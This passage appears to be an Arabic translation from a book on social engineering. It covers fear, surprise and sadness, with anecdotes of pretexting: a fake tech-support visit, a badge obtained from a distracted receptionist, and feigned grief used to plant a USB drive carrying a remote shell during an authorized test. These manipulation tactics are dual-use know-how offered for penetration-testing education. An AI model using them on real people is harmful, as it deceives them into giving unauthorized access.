‫ﺷرﻛﺔ ﻣﺎ ﻗد ﻋﻣﻠت ﻣﻌﮭﺎ ﺗم ﺿرﺑﮭﺎ ﻣن ﻗﺑل ﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ ﺧﺑﯾث واﻟذي اﺳﺗﺧدم اﻟﺧوف ﻟﻠوﺻول إﻟﻰ اﻟﻣﺑﻧﻰ‪ .‬ﻣﻊ اﻟﻌﻠم أن اﻟﻣدﯾر اﻟﻣﺎﻟﻲ‬
‫ﻛﺎن ﺧﺎرج اﻟﻣدﯾﻧﺔ ﻓﻲ اﺟﺗﻣﺎع ﻋﻣل ﻣﮭم وﻻ ﯾﻣﻛن ازﻋﺎﺟﮫ‪ ،‬ذھب اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟﻰ اﻟﺷرﻛﺔ ﺑوﺻﻔﮫ رﺟل اﻟدﻋم اﻟﻔﻧﻲ‪ .‬وطﺎﻟب‬
‫اﻟوﺻول إﻟﻰ ﻣﻛﺗب اﻟﻣدﯾر اﻟﻣﺎﻟﻲ‪ ،‬اﻟذي رﻓض ﻋﻠﻰ اﻟﻔور‪ .‬ﺛم ﻟﻌب ھذا اﻟﺧط‪" ،‬اﻟﺳﯾد ﺳﻣﯾث‪ ،‬اﻟﻣدﯾر اﻟﻣﺎﻟﻲ اﻟﺧﺎص ﺑك‪ ،‬ﻗد اﺳﺗدﻋﺎﻧﻲ وﻗﺎل‬
‫ﻟﻲ أﻧﮫ ﻓﻲ ﺣﯾن اﻧﮫ ﺑﻌﯾدا ﻓﻲ ھذا اﻻﺟﺗﻣﺎع ﻓﺎﻧﮫ ﯾﻔﺿل ان اﺗﻰ اﻟﻰ ﻣﻛﺗﺑﮫ وأﺻﻠﺢ ﻣﺷﻛﻠﺔ اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ‪ ،‬وأﻧﮫ إذا ﻟم ﯾﺗم إﺻﻼﺣﮭﺎ ﺑﯾﻧﻣﺎ ھو‬
‫ﻓﻲ ھذا اﻻﺟﺗﻣﺎع‪ ،‬ﻓﺎن اﻟرؤﺳﺎء ﺳوف ﯾﻘوﻣون ﺑﻠﻔﺗﺔ"‪.‬‬
‫اﻟﺳﻛرﺗﯾر ﯾﺧﺷﻰ أﻧﮫ إذا ﻟم ﯾﺣﺻل اﻻﺻﻼح‪ ،‬ﻓﺄﻧﮫ ﺳﯾﻛون ﻣﺳؤوﻻ ﻋن ذﻟك‪ .‬ﺳﯾﻛون رﺋﯾﺳﮫ ﺣﻘﺎ ﻏﺎﺿﺑﺎ؟ ﯾﻣﻛن أن ﺗﻛون وظﯾﻔﺗﮫ ﻓﻲ ﺧطر؟‬
‫ﻷﻧﮫ ﯾﺧﺷﻰ ﻣن اﻟﻧﺗﺎﺋﺞ اﻟﺳﻠﺑﯾﺔ‪ ،‬ﺣﯾث ﻗﺎم اﻟﺳﻛرﺗﯾر ﺑﺎﻟﺳﻣﺎح ﻟﻠدﻋم اﻟﻔﻧﻲ اﻟزاﺋف‪ ،‬إذا ﻛﺎن ﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ ﻣﺎھر ﻓﺄﻧﮫ رﺑﻣﺎ ﻛﺎن ﯾراﻗب ﺗﻌﺎﺑﯾر‬
‫وﺟﮭﮫ وﯾﻼﺣظ ﻣﺎ إذا ﻛﺎﻧت ﻋرﺿت ﻋﻼﻣﺎت اﻟﻘﻠﻖ أو اﻟﺧوف‪ ،‬واﻟﺗﻲ ﺗرﺗﺑط ﺑﺎﻟﺧوف‪ .‬ﺛم ﯾﻣﻛن أن ﺗﻘوم ﻋﻠﻰ ھذه اﻟﻌﻼﻣﺎت أﻛﺛر وأﻛﺛر‪،‬‬
‫واﻟﺣﺻول ﻋﻠﯾﮫ ﻋﻠﻰ اﻻﻧﺻﯾﺎع ﻟﺧوﻓﮭﺎ‪.‬‬
‫اﻟﺧوف ﯾﻣﻛن أن ﯾﻛون ﺣﺎﻓز ﻛﺑﯾر ﻟﻠﻘﯾﺎم ﺑﺎﻟﻌدﯾد ﻣن اﻷﺷﯾﺎء اﻟﺗﻲ ﻛﻧت )أو ﺗﺳﺗﮭدﻓﮭﺎ( ﻋﺎدة ﻟن ﺗﻧظر اﻟﻰ اﻟﻘﯾﺎم ﺑﮭﺎ‪.‬‬
‫اﻟﻤﻔﺎﺟﺄة )‪(Surprise‬‬

‫ﻛﻣﺎ ذﻛر آﻧﻔﺎ‪ ،‬ﻓﻘد اﺗﻔﻖ اﻟدﻛﺗور أﯾﻛﻣن ﻣﻊ اﻟﻌدﯾد ﻣن ﻋﻠﻣﺎء اﻟﻧﻔس وﻏﯾرھم ﻓﻲ ﻣﺟﺎل ‪ microexpressions‬ﺑﺎن اﻟﺷﻌور ﺑﺎﻟﻣﻔﺎﺟﺄة ﯾرﺗﺑط‬
‫ارﺗﺑﺎطﺎ وﺛﯾﻘﺎ ﺑﺎﻟﺧوف ﺑﺳﺑب ﺑﻌض أوﺟﮫ اﻟﺗﺷﺎﺑﮫ‪ .‬اﻟﺧوف واﻟﻣﻔﺎﺟﺄة ﻏﺎﻟﺑﺎ ﻣﺎ ﺗﻛون ﻣﺷوﺷﺔ‪ .‬اﻓﺗرض أﻧك ﻗد ﺳﻔرات ﻟﻣدة أﺳﺑوع ﻣن أﺟل ﺑﻌض‬
‫اﻷﻋﻣﺎل اﻟﺗﺟﺎرﯾﺔ‪ .‬ﻓﻲ طرﯾﻖ اﻟﻌودة ﻛﺎن ﺗﺷﻌر ﺑﺎﻻﻧزﻋﺎج ﺣﯾث ﻛﻧت ﺗﻌﺗﻘد أﻧك ﻧﺳﯾت ﺷﯾﺋﺎ ﻣﮭﻣﺎ‪ .‬إﻧك ﺗﻌﻠم إﻧك ﺳوف ﺗﺗذﻛر ﻓﻲ وﻗت ﻻﺣﻖ‪،‬‬
‫ﻟذﻟك ﯾﻣﻛﻧك اﻟﻌودة إﻟﻰ اﻟﻣﻧزل ﻟﻠراﺣﺔ‪.‬‬
‫ذھﺑت ﻣن ﺧﻼل اﻟﻣﻣر اﻟﺧﺎص ﺑك ﻓﻲ اﻟﻣﻧزل‪ .‬ﺑﯾﺗك ﻣظﻠم‪ .‬ﻓﺗﺣت اﻟﺑﺎب وﻣﺷﯾت ﻣن ﺧﻼﻟﮫ ﺛم ﺗوﺟﮭت اﻟﻰ اﻻﺿواء‪ .‬إذا ﺑﺛﻼﺛﯾن ﺷﺧﺻﺎ‬
‫ﯾﻘﻔزون وﯾﺻرﺧون "ﻣﻔﺎﺟﺄة"!‬
‫ﻣﺎذا ﯾﺣدث؟ ﻣﻊ اﻟﻣﻔﺎﺟﺄة‪ ،‬ﻋﯾون ﻣﻔﺗوﺣﺔ ﻋﻠﻰ ﻣﺻراﻋﯾﮭﺎ‪ ،‬ارﺗﻔﺎع اﻟﺣﺎﺟﺑﯾن‪ ،‬واﻟﻔم ﻣﻔﺗوح ﻣﻊ ﻟﮭﺛﺎت ﻣﺳﻣوﻋﺔ )اﻧظر اﻟﺷﻛل اﻟﺗﺎﻟﻲ(‪ .‬ﻏﺎﻟﺑﺎ ﻣﺎ‬
‫ﺗﺳﺑب ﻋﺎطﻔﺔ اﻟﻣﻔﺎﺟﺄة أن اﻟﺷﺧص ﯾﻣﯾل ﺑﻌﯾدا ﻓﻲ ﺑﺎدئ اﻻﻣر‪ ،‬وﻣن ﺛم اﻻﺗﺟﺎه ﻧﺣو اﻟﺷﻲء اﻟﻣﻔﺎﺟﺄة ﻋﻧدﻣﺎ ﯾدرك أﻧﮫ آﻣن‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪839‬‬

‫ﻣﺎذا ﺣدث ﻣﻊ ھذه اﻟﻌﺎطﻔﺔ؟ اﻟﺟﺳم ﯾﺳﺗﻌد ﻟﻠﻣﻛﺎﻓﺣﺔ أو اﻟﮭروب‪ ،‬وﻟﻛن ﻓﻲ ﺣﺎﻟﺔ ﻣﺛل ﺣﻔﻠﺔ ﻣﻔﺎﺟﺋﺔ‪ ،‬اﻟﺣواس اﻷﺧرى ﺑﺳرﻋﺔ ﺗﻧظر اﻟﻰ ﺳﯾﻧﺎرﯾو‬
‫ﻏﯾر ﻣﮭدد‪ .‬اﻟﺟﺳم ﯾﻣﯾل ﻧﺣو اﻟﻛﺎﺋن اﻟﻣﻔﺎﺟﺄة‪ .‬وھذا ﯾﻣﻛن أن ﯾﺗﺑﻌﮫ اﻟﺿﺣك واﻻﺑﺗﺳﺎﻣﺔ‪ .‬اﻟدﻛﺗور أﯾﻛﻣن ﯾطﻠﻖ ﻋﻠﻰ اﻟﻣﻔﺎﺟﺄة "ﺑواﺑﺔ اﻟﻌﺎطﻔﺔ" ﻷﻧﮫ‬
‫ﯾﻣﻛن أن ﯾؤدي إﻟﻰ ﻋدد ﻣن اﻟﻌواطف اﻷﺧرى‪ ،‬ﻣﺛل اﻟﻐﺿب واﻟﺳﻌﺎدة واﻟﺣزن ﻋﻧدﻣﺎ ﺗﺗﺣﻘﻖ اﻟﻧﺗﯾﺟﺔ‪ ،‬أو اﻻﺛر‪ ،‬ﻣن اﻟﻣﻔﺎﺟﺄة اﻷوﻟﻲ‪.‬‬
‫اﻵﺛﺎر اﻟﻣﺗرﺗﺑﺔ ﻣﮭﻣﮫ ﻟﻠﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪ .‬اﻟﻣﻔﺎﺟﺄة ﯾﻣﻛن أن ﯾﻛون ﺑواﺑﺔ ﻟﺷﻌور راﺋﻊ ﺑﻌد اﻟﻣﻛﺎﻓﺣﺔ أو اﻟﮭروب واﻟﺗﻲ ﺗﺣدد أﻧك ﻟﺳت ﻓﻲ‬
‫ﺧطر‪ .‬ﻏﺎﻟﺑﺎ ﻣﺎ ﯾﻌﻘب ذﻟك اﻟﺿﺣك‪ ،‬اﻻﺑﺗﺳﺎﻣﺔ‪ ،‬وﺑﻌض اﻟﺳﻌﺎدة‪ .‬ﻟذﻟك‪ ،‬ھذه اﻟﻌﺎطﻔﺔ ﺗﻌطﯾك اﻟﯾد اﻟﻌﻠﯾﺎ ﻋﻧدﻣﺎ ﺗﺣﺎول اﻟﺗﺄﺛﯾر ﻋﻠﻰ ﺷﺧص‪.‬‬
‫ﺑﺎﻟطﺑﻊ‪ ،‬أﻧﺎ ﻻ أﻗﺗرح أن ﺗﻘوم ﺑﺈﺧﻔﺎء ﻧﻔﺳك ﻓﻲ ﺧزاﻧﮫ ﺛم اﻟﻘﻔز واﻟﺻراخ "ﻣﻔﺎﺟﺄة!"‪.‬‬
‫ﻓﻲ واﺣدة ﻣن اﻟﻣﺷﺎرﻛﺎت‪ ،‬دﺧﻠت اﻟﻣﺑﻧﻰ وﺗوﺟﮭت إﻟﻰ ﻣﻛﺗب اﻟﻣوﺟود ﻓﻲ اﻻﻣﺎم ﻓﻲ ﻣﺣﺎوﻟﺔ ﻟﻠوﺻول‪ .‬ﻣﻊ اﻗﺗراﺑﻲ‪ ،‬ﻻﺣظت أن ﻣوظﻔﺔ‬
‫اﻻﺳﺗﻘﺑﺎل ﺣزﯾﻧﺔ‪ .‬ﺑدﻻ ﻣن اﻟذھﺎب ﻓﻲ ﺗوﺟﮭﻲ اﻟﻣﻌﺗﺎد‪ ،‬ﺳﺄﻟﺗﮭﺎ "ھل أﻧت ﺑﺧﯾر؟"‪ ،‬ﻗﺎﻟت ﻟﻲ ﻟﻘد ﻓﻘدت أﺣد اﻷﻗراط اﻟﺧﺎﺻﺔ ﺑﻲ‪ .‬وﻛﺎﻧت ﻣﺳﺗﺎءة‬
‫ﺟدا ﻷﻧﮭﺎ ﻛﺎﻧت ھدﯾﺔ ﻣن زوﺟﮭﺎ وﻛﺎﻧت ﻣﻛﻠﻔﺔ‪ .‬ﻗﻠت ﻟﮭﺎ أﻧﺎ آﺳف ﺛم ﺑدأت ﻓﻲ ﻣﺳﺎﻋدﺗﮭﺎ ﻟﻠﺑﺣث ﻋﻧﮫ‪ .‬ﻓﻲ ﺑﺻﯾص ﻣن اﻟﺣظ‪ ،‬رأﯾت ﻟﻣﻌﺎن ﻓﻲ‬
‫ﺷﻌرھﺎ‪ .‬ﻟﻘد ﻛﺎن اﻟﻘرط‪ .‬ﻷﻧﮭﺎ وﺻﻠت اﻟﻰ ﺷﻌرھﺎ وﺷﺑﻛت ﺑﮫ‪ ،‬ﻛﺎن ﻟﮭﺎ ﺗﻌﺑﯾرات وﺟﮫ ﻣﻣﺎﺛﻠﮫ ﺗﻣﺎﻣﺎ ﻛﻣﺎ ھو ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟﺳﺎﺑﻖ‪.‬‬
‫ﻛﺎﻧت ﻣوظﻔﺔ اﻻﺳﺗﻘﺑﺎل ﺳﻌﯾدة ﺟدا ﻟدرﺟﺔ اﻧﮭﺎ ﻟم ﺗﺳﺄﻟﻧﻲ ﻣن أﻧﺎ‪ .‬ﺑﻌد ﺷﻛري ﺑﻐزارة‪ ،‬ﻗﺎﻟت ﻓﻘط "‪ ،‬أﯾن ﻛﻧﺎ؟" أﺟﺑﺗﮭﺎ‪" ،‬أوه‪ ،‬ﻛﺎن ﻣن اﻟﻣﻔﺗرض‬
‫أن اﻟﺗﻘﻰ ﺒ ‪ .HR‬أﻧﺎ ﻓﻘط ﺑﺣﺎﺟﺔ اﻟﻰ ﺷﺎرة‪/‬ﺑﺎدج ﺣﺗﻰ أﺳﺗطﯾﻊ أن اﺗوﺟﮫ إﻟﻰ ھﻧﺎك ﻣن ﻟﻘﺎﺋﻲ ذات اﻟﺧﻣس دﻗﺎﺋﻖ "ﺳﻠﻣﺗﻧﻲ اﻟﺷﺎرة وأظﮭرت ﻟﻲ‬
‫اﻟﺑﺎب"‪ .‬ﻓﻲ ھذه اﻟﺣﺎﻟﺔ‪ ،‬أدت اﻟدھﺷﺔ واﻟﺳﻌﺎدة اﻟﺗﻲ اﺗﺑﺎﻋﮭﺎ ﻟﻧﺟﺎﺣﻲ‪ .‬أﺑﺣث ﻋن طرق ﻟﻣﻔﺎﺟﺄة أھداﻓك اﻟﺗﻲ ﻻ ﺗﻧطوي ﻋﻠﻰ اﻟﻘﻔز ﻣن ﺧزاﻧﺔ‬
‫ﯾﻣﻛن أن ﺗﻘودك إﻟﻰ ﻧﮭﺎﯾﺔ ﻧﺎﺟﺣﺔ‪.‬‬
‫اﻟﺗﻔﺻﯾل‪:‬‬
‫أﺧذ اﻟوﻗت ﻟﻣﻣﺎرﺳﺔ اﻟﺧطوات اﻟﺗﻔﺻﯾﻠﯾﺔ ﻋن ھذا اﻟﺷﻌور ﺳوف ﺗﺳﺎﻋدك ﻋﻠﻰ اﻛﺗﺳﺎب اﻟﺧﺑرة ﻓﻲ ﺻﻧﻊ‪ ،‬واﻟﺷﻌور‪ ،‬ورؤﯾﺔ اﻟﺗﻌﺑﯾر ﺑﺷﻛل أﻛﺛر‬
‫وﺿوﺣﺎ‪.‬‬
‫اﻟﺣرﻛﺎت اﻟﻌﺿﻠﯾﺔ اﻟﻣﺷﺎرﻛﺔ ﻓﻲ ﻣﻔﺎﺟﺄة ھﻲ ﻛﻣﺎ ﯾﻠﻲ‪:‬‬
‫‪ -‬ارﻓﻊ ﺣﺎﺟﺑﯾك ﻣﻊ اﺗﺳﺎع ﻋﯾﻧﯾك ﻗدر اﻹﻣﻛﺎن‪ ،‬ﻛﻣﺎ ھو ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻰ‪ .‬ﻓﻲ اﻟﻣﻔﺎﺟﺄة‪ ،‬ﻓﺈن اﻟﺣواﺟب ﺗﻛون ﻣﻘوﺳﺔ أﻛﺛر‪/‬ﻣﻧﺣﻧﯾﺔ ﻣن‬
‫اﻟﺧوف‪.‬‬

‫اﻟﻔك اﻟﺧﺎص ﺑك ﻗد أﺳﻘط ﻗﻠﯾﻼ ﻟﻔﺗﺢ اﻟﻔم ﺑﺎﻟﻛﺎﻣل‪ ،‬ﻛﻣﺎ ھو ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻰ‪) .‬ﻓﻛر ﻓﻲ ھذا ﻣﺻطﻠﺢ "اﻧﮭﺎ ﻓﻘط ﺗﺟرﺑﺔ اﺳﻘﺎط اﻟﻔك!"‬ ‫‪-‬‬
‫أو "ﻋﻧدﻣﺎ اﺧﺑرﺗﮫ ان ﻓﻛﮫ ﻛﺎد ان ﯾﻠﻣس اﻻرض!"(‪.‬‬
‫ﺳﻣﺎع ﺑﻌض اﻟﻼھﺛﺎت ﻋﻧﻣﺎ ﺗﺻﻧﻊ اﻟﺻوت "اوووووووووه"‪.‬‬ ‫‪-‬‬

‫اﻟﻌﯾﻧﯾن ﺗظﮭر ﻓﻲ اﻟﻣﻔﺎﺟﺄة أﻛﺛر اﺳﺗرﺧﺎء‪ ،‬ﻓﻲ ﺣﯾن أن اﻟﻌﯾﻧﯾن ﺗظﮭر ﻓﻲ اﻟﺧوف أﻛﺛر ﺗوﺗرا وﯾظﮭر ﺑﯾﺎض اﻟﻌﯾن أﻛﺛر‪ .‬اﻟﺣواﺟب ﺗﻛون ﻣﻘوﺳﺔ‬
‫أﻛﺛر‪/‬وﻣرﻓوﻋﺔ ﻓﻲ اﻟﻣﻔﺎﺟﺄة‪ .‬ﻓﻲ اﻟﺧوف اﻷﺳﻧﺎن ﻣﺿﻐوطﺔ ﻣﻊ ﺑﻌﺿﮭﺎ )ﻣﺟزوزه( أو اﻟﻔم ﻣﻔﺗوح‪ ،‬وﻟﻛن ﻓﻲ ﻛﻠﺗﺎ اﻟﺣﺎﻟﺗﯾن ﯾﺗم ﺳﺣب اﻟﺷﻔﺎه‪ .‬ھﻧﺎ‬
‫ﻓﻲ اﻟﻣﻔﺎﺟﺄة ﻧرى أن اﻟﺷﻔﺎه ﻻ ﺗﺳﺣب ﺟﺎﻧﺑﯾﺎ ﻧﺣو اﻷذﻧﯾن‪.‬‬
‫اﻟﻣﻔﺎﺟﺄة ﯾﻣﻛن أن ﯾﻛون ﻣن اﻟﺻﻌب ﺗﻣﯾﯾزھﺎ ﻋن اﻟﺧوف ﻓﻲ اﻟﺑداﯾﺔ‪ .‬وﻟﻛن ﻣﻊ اﻟﻣﻣﺎرﺳﺔ‪ ،‬ﻓﺈﻧﮫ ﯾﻣﻛن أن ﺗﺳﺎﻋدك ﻋﻠﻰ ﻓﮭم اﻹطﺎر اﻟﺷﺧﺻﻲ‬
‫ﻣن اﻟﻌﻘل‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪840‬‬

‫اﻟﺷﻌور ﺑﺎﻟﻣﻔﺎﺟﺄة ﯾﻣﻛن أن ﯾﻛون ﺟﯾد أو ﺳﯾﺊ‪ .‬ﺳﻣﺎع اﻟﻛﻠﻣﺎت اﻷوﻟﻰ ﻻﺑﻧﺗك‪ ،‬ﺑﺎﻟطﺑﻊ‪ ،‬ھو ﻣﻔﺎﺟﺄة ﺟﯾدة‪ .‬أو ﯾﻣﻛن أن ﺗﻛون اﻟﻣﻔﺎﺟﺄة واﺣدا ﻣن‬
‫اﻟﺣدث‪ ،‬اﻟﺑﯾﺎن‪ ،‬أو اﻟﺳؤال اﻟذي ﻻ ﯾﺗوﻗﻊ أن ﯾﺳﺑب ھذا اﻟرد‪.‬‬
‫إذا ﻛﺎﻧت اﻟﻣﻔﺎﺟﺄة إﯾﺟﺎﺑﯾﺔ‪ ،‬ﻓﺈﻧﮫ ﯾﻣﻛن أن ﯾﺳﺑب ﻓﻲ ﻛﺛﯾر ﻣن اﻷﺣﯾﺎن اﺑﺗﺳﺎﻣﺔ أو اﺳﺗﺟﺎﺑﺔ ﺑﺷوش ﺑﻌد اﻟﺻدﻣﺔ اﻷوﻟﻰ‪ .‬اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‬
‫ﯾﻣﻛن ﻓﻲ ﺑﻌض اﻷﺣﯾﺎن اﺳﺗﺧدام اﻟﻣﻔﺎﺟﺄة ﻟﻔﺗﺢ ﺑﺎب اﻟﮭدف‪ ،‬إذا ﺟﺎز اﻟﺗﻌﺑﯾر‪ .‬ﯾﻣﻛن ﻣﺗﺎﺑﻌﺔ ﻣﻊ ﺧﻔﺔ دم ﺳرﯾﻊ أو ﻣزﺣﺔ ﺑﺳرﻋﺔ وﺿﻊ اﻟﮭدف‬
‫ﺑﺳﮭوﻟﺔ‪ ،‬ﻣﻣﺎ ﯾﺗﺳﺑب ﻓﻲ ﺧﻔض اﻟﮭدف ﻟﺣﺎرﺳﮫ‪.‬‬
‫اﻟﺤﺰن )‪(Sadness‬‬

‫ﻛﻧت أﻗرأ ﻗﺻﺔ ﻋن ﻣﺧﯾم ﻟﻼﺟﺋﯾن ﻓﻲ ﺷﻣﺎل ﺗﺎﯾﻼﻧد اﻟﺗﻲ اﺷﺗﻌل ﻓﯾﮫ اﻟﻧﯾران‪ .‬ﻓﺗﺎة ﺗﺑﻠﻎ ﻣن اﻟﻌﻣر ‪ 15‬ﻋﺎﻣﺎ ﻓﻘدت ﻛﻼ واﻟدﯾﮭﺎ وﺷﻘﯾﻘﺗﮭﺎ ﻓﻲ اﻟﻧﺎر‪.‬‬
‫ﻟم ﯾﻛن إﻻ أﻧﮭﺎ ﻓﻲ ﻣﺧﯾم اﻟﻼﺟﺋﯾن‪ ،‬ﻟﻛﻧﮭﺎ اﻵن وﺣﯾده ﻓﻲ ھذا اﻟﻌﺎﻟم‪ .‬اﻟﺻورة اﻟﻣراﻓﻘﺔ ﻟﻠﻘﺻﺔ‪ ،‬ﻛﺎن اﻟﺗﻌﺑﯾر واﺣد وھو اﻟﺣزن اﻟﺷدﯾد‪.‬‬
‫ﻋﻧدﻣﺎ ﻗرأت ھذا‪ ،‬ﺷﻌرت ﺑﺈﺣﺳﺎس ﻣن اﻟﺣزن واﻟﻔراغ‪ ،‬ﻧﺗﯾﺟﺔ ﻟﺷﺧص ﻟم اﻟﺗﻘت أﺑدا ﺑﮫ‪ .‬اﻟﺣزن ﯾﻣﻛن أن ﯾﻔﻌل ذﻟك ﺑﻧﺎ‪ .‬ﺗرﺗﺑط ﻋﻘﻠﯾﺔ اﻻﻧﺳﺎن‬
‫اﻟﻘﺑﯾﻠﺔ ارﺗﺑﺎطﺎ وﺛﯾﻘﺎ ﻣﻊ اﻟﺗﻌﺎطف واﻟﺷﻔﻘﺔ ﺣﯾث أن ھذه اﻟﻣﺷﺎﻋر ﺗﺄﺗﻲ ﺑﺷﻛل طﺑﯾﻌﻲ‪ ،‬وﯾﻣﻛن أن ﺗؤﺛر ﺑﺳﮭوﻟﺔ ﻋﻠﻰ اﻟﻣﺣﺗوى اﻟﻌﺎطﻔﻲ ﻟدﯾﻧﺎ‪.‬‬
‫اﻟﺣزن ﯾﻣﻛن أن ﺗﺗراوح ﻣن ﻋدم اﻟراﺣﺔ اﻟﺧﻔﯾف اﻟﻰ اﻟﺣزن اﻟﻣؤﻟم‪ .‬ﺳوف ﻧﺗﻌﻠم ﻗراءة ھذه اﻟﻌﺎطﻔﺔ ﻟﻛﻲ ﺗﺳﺎﻋدك ﻋﻠﻰ اﻟﺗواﺻل ﺑﺷﻛل أﻓﺿل‬
‫وﻓﮭم ﻣﺣﺗوى اﻵﺧرون ﻋن ﻣﺷﺎﻋرھم‪ .‬ﺗﻌﻠم ﺳﯾطرة ﻋرض طﻔﯾف ﻣن ھذه اﻟﻌﺎطﻔﺔ ﯾﻣﻛن أن ﯾﻘطﻊ ﺷوطﺎ طوﯾﻼ ﻧﺣو ﺧﻠﻖ ﺷﻌور ﻣن اﻟﺗﻌﺎطف‬
‫)ﯾرﺗﺑط ارﺗﺑﺎطﺎ وﺛﯾﻘﺎ ﺑﺎﻟﺣزن( ﻓﻲ اﻟﻧﺎس اﻟﺗﻲ ﺗﺗﺻل ﺑﮭم ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ‪.‬‬

‫ذات ﻣرة واﺣدة ﺗم اﻟﺗﻌﺎﻗد ﻣﻌﻲ ﻟﻣﺣﺎوﻟﺔ اﻟوﺻول إﻟﻰ ﻣﺑﻧﻰ إﻟﻛﺗروﻧﯾﺎ‪ .‬ﻛﺎن ھدﻓﻲ ﺗﺣﻣﯾل ﺑﻌض اﻟﺑراﻣﺞ اﻟﺿﺎرة ﻋﻠﻰ ﺷﺑﻛﺔ ﻛﻣﺑﯾوﺗر اﻟﺷرﻛﺔ‬
‫ﺑﺎﺳﺗﺧدام ﻣﻔﺗﺎح ‪ .USB‬أرادت اﻟﺷرﻛﺔ ﻣﻧﻰ اﺧﺗﺑﺎر ﺳﯾﺎﺳﺔ اﻟﺷرﻛﺔ ﻋﻠﻰ ﻧﮭﻰ اﻟﻣوظﻔﯾن ﻣن إدﺧﺎل اﻷﺟﮭزة اﻷﺟﻧﺑﯾﺔ إﻟﻰ أي ﺟﮭﺎز ﺑﺎﻟﺷرﻛﺔ‪.‬‬
‫ﻗﻣت ﺑﺎرﺗداء ﻗﻣﯾص ورﺑطﺔ ﻋﻧﻖ‪ ،‬أﻣﺳﻛت ﻣﺟﻠد ﻣن اﻟورق اﻟﻣﻘوى‪ ،‬ﻣﻸﺗﮭﺎ ﺑﻌدد ﻗﻠﯾل ﻣن "اﻟﺳﯾرة اﻟذاﺗﯾﺔ" ﻛﻧت ﻗد طﺑﻌﺗﮭﺎ‪ .‬اﻧﺎ وﺷرﯾﻛﻲ‪ ،‬ﻗﻣﻧﺎ‬
‫ﺑﺗﺣﻣﯾل ﻣﻔﺗﺎح ‪ USB‬ﺑﺎﻟﺳﯾرة اﻟذاﺗﯾﺔ ﻣﺣﻘوﻧﮫ ﺑﻘطﻌﺔ ﻣن اﻟﺗﻌﻠﯾﻣﺎت اﻟﺑرﻣﺟﯾﺔ اﻟﺧﺑﯾﺛﺔ اﻟﺗﻲ ﻣن ﺷﺄﻧﮭﺎ أن ﺗﻌطﯾﻧﺎ اﻟوﺻول ﻋن ﺑﻌد إﻟﻰ ﺷﺑﻛﺔ‬
‫اﻻﺗﺻﺎل اﻟﺧﺎﺻﺔ ﺑﮭم إذا ﺗم اﻟﻧﻘر ﻋﻠﯾﮭﺎ‪ ،‬أو ﻣﺎ ﯾﻌرف ﺑﺎﺳم "ﺷل"‪.‬‬
‫ذھﺑت اﻟﻰ ﻣوﻗف اﻟﺳﯾﺎرات اﻟﺧﺎص ﺑﺎﻟﺷرﻛﺔ‪ ،‬ﻓﺗﺣت ﺑﺎب ﺳﯾﺎرﺗﻲ‪ ،‬أﻟﻘﯾت ﻓﻧﺟﺎن ﻣن اﻟﻘﮭوة ﻓﻲ ﺟﻣﯾﻊ أﻧﺣﺎء اﻟﻣﺟﻠد ﻣن اﻟﺳﯾر اﻟذاﺗﯾﺔ‪ .‬دﺧﻠت‬
‫اﻟﻣﺑﻧﻰ‪ ،‬ﻋرﺿت ﻣﺳﺗوﯾﺎت ﺣﻘﯾﻘﯾﺔ وﻣﻧﺎﺳﺑﺔ ﻣن اﻟﺣزن ﻛﺣﯾﻠﺔ ﻟﻠﻌﻣل‪ .‬ﻛﻧت ﺑﺣﺎﺟﺔ ﻹظﮭﺎر اﻟﺣزن اﻟﻣؤﻟم وﻟﯾس اﻟﺗﮭﯾﺞ اﻟﺧﻔﯾف‪ .‬ﻛﺎن ﻟﻲ ﺗﻌﺑﯾر‬
‫ﻣﻣﺎﺛﻠﺔ ﻟﺗﻠك اﻟﺗﻲ ﺗظﮭر ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻰ‪ .‬ﺻﻌدﻧﺎ إﻟﻰ اﻟﻣﻛﺗب اﻷﻣﺎﻣﻲ ﻣﻊ اﻟﻣﺟﻠد اﻟﻐﺎرق ﺑﺎﻟﻘﮭوة‪ ،‬اﺳﺗﻘﺑﻠﻧﻲ ﻣوظف اﻻﻣن‪" ،‬أوه‪ ،‬ﻋزﯾزي‪ ،‬ﻣﺎذا‬
‫ﺣدث؟" ﻗﻣت ﺑﻔﺣص اﻟﻣﻛﺗب ﺑﺳرﻋﺔ وﺟد ﺻوره ﻋﻠﻰ اﻟﻣﻛﺗب ﻋﺑﺎره ﻋن طﻔل ﺻﻐﯾر ﻣﻊ ﻗط‪.‬‬

‫"ﻟﻘد ﻛﻧت ﻋﺎطﻼ ﻋن اﻟﻌﻣل ﻟﻔﺗرة ﻣن اﻟوﻗت‪ ،‬وأﺧﯾرا ﺣﺻﻠت ﻋﻠﻰ ﻣﻘﺎﺑﻠﺔ ھﻧﺎ ھذا اﻟﯾوم‪ .‬ﻛﻧت أﻗود ﻣﻊ ﺑﻌض اﻟﻌﺻﺑﯾﺔ‪ ،‬ورﻛض ﻗط أﻣﺎﻣﻲ‪ .‬أﻧﺎ‬
‫أﺣب اﻟﻘطط‪ ،‬وأﻧﺎ ﻻ أرﯾد أن اﻟﺣﻖ ﺑﮫ اﻻذى‪ ،‬ﻟذﻟك اﻧﺣرﻓت وﺳﻘطت ﻗﮭوﺗﻲ ﻣن ﺣﺎﻣﻠﮭﺎ ﻋﻠﻰ ﻣﻘﻌدي واﺻﺎﺑت اﻟﺳﯾر اﻟذاﺗﯾﺔ اﻟﺧﺎﺻﺔ ﺑﻲ‪ .‬ﻟﺣﺳن‬
‫اﻟﺣظ‪ ،‬ﻏﺎب اﻟﻘط‪ ،‬وﻟﻛن ﻟﺳوء ﺣظﻲ ﻗﺗل اﻟﺳﯾرة اﻟذاﺗﯾﺔ"‪.‬‬
